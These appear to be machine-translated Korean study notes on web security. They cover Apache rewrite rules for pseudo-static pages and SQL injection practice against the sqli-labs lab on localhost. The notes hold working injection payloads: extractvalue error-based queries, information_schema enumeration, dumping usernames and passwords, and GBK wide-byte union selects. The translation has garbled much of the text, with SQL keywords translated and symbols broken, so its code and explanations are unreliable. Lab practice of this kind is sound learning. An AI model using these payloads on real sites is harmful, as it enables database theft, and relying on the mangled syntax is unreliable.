의사 정적 페이지 구축
http://www.test.com/index.php?id=1 (취약)
http://www.test.com/index.html (정적 페이지 만 표시 데이터는 보안이 매우 높습니다)
http://www.test.com/add_1.html
단계
1 단계는 : 재 작성 메커니즘, 사이트를 열어 구성 파일을 수정해야 발견
Rewrite_module 모듈을 LoadModule / mod_rewrite.so가 필요 다음 노트의 전면을 제거하고 아파치 해결하기 위해 지원을 htaccess로 은 "찾을 구성 파일을 수정, 파일 에 AllowOverride 없음을 것" 없음 으로 변경 모두 다시 시작하지 아파치.
2 단계 :
새로운 htaccess로 파일, 다음 "다시 쓰기 규칙"을 쓰기
에한다 RewriteEngine
RewriteRule의 ([0-9] {1 }) \. html로 $의 index.php? 아이디 = $ 1 // 규칙을 다시 작성합니다. ([0-9] {1}) $ 일치 $ 1 값을, \ 문자를 이스케이프 HTML $가 표시 URL을 에 것은 HTML 끝
페이지 http://127.0.0.1/weijingtai/2-add.html
매칭 규칙 RewriteRule의 ([0-9] {1 }) - ([A-ZA-Z {1}) \ HTML $ index.php에 ID = $ 2 $ 1¶ =?
페이지에 대한 요청 : http://127.0.0.1/weijingtai/ 위에서 언급 한 id = index.php를 2¶ 추가?
단계 주입 에러
1 단계 : 테스트 주입 지점
2 단계 : 얻을 데이터베이스 정보 (현재 데이터베이스)
http://127.0.0.1/sqli-labs-master/Less-5/?id=2 '및 extractValue와 (1, CONCAT (0x7E가 (베이스 ()), 0x7E가)) % 23+
3 단계 : 테이블 이름
information_shcema.tables에서 tisinct TABLE_NAME을 선택 곳 table_shcema = 데이터베이스 () 0,1 제한
4 단계는 : 표에 지정된 필드를 가져옵니다
5 단계 : 콘텐츠에 대한 액세스
사용자가 0,1 제한에서 | CONCAT (암호 ''사용자 이름을)를 선택
그럼 당신은 암호 해독을 갈 수 있습니다
바이트 폭 주입
는 mysql_query ( "SET NAMES 'GBK' "); // 문자 집합 인코딩을 설정
mysql_set_charset ( "GBK"); // 문자 집합의 인코딩을 설정
mysql_reak_escape_string () 여과 매개 변수를 탈출, 유사한 기능을 갖는 기능은 다음과 같습니다 addslaches () , mysql_escape_string () ( PHP5.3 폐지 후), 마법 따옴표 ( magic_quotes_gpc의 특수 기호) 모듈, '\ "널 (null) <> 등
GBK의 코딩 : 문자에 대한 인코딩 모드, 문자는 2 바이트를 사용하여 인코딩
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81 노조 1 사용자 (), 3 %를 선택 (23)
바이트 폭 Sqlilab32
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81 노조 1,2,3 %를 선택합니다 (23)
방어 : 사용 mysql_set_charset ( "GBK"); 를 사용 mysql_escape_string는 탈출
PDO 넓은 바이트 주입
PDO는 : 데이터베이스에 연결 -> 설정 템플릿 > 데이터 바인딩 > 실행 의 SQL 문을
$ conn->의 setAttribute (PDO :: ATTR_EMULATE_PREPARES, 거짓);
보조 코딩을 주입
브라우저는 것 에서 양식의 데이터 한번 URL 서버에 도달하기 위해 디코딩 한 후 인코딩을 기본값으로
PHP 에서 의 URL 디코딩 기능이 있습니다 : ) (urldecode 될것입니다 , rawurldecode ()
HTTP의 헤더 주입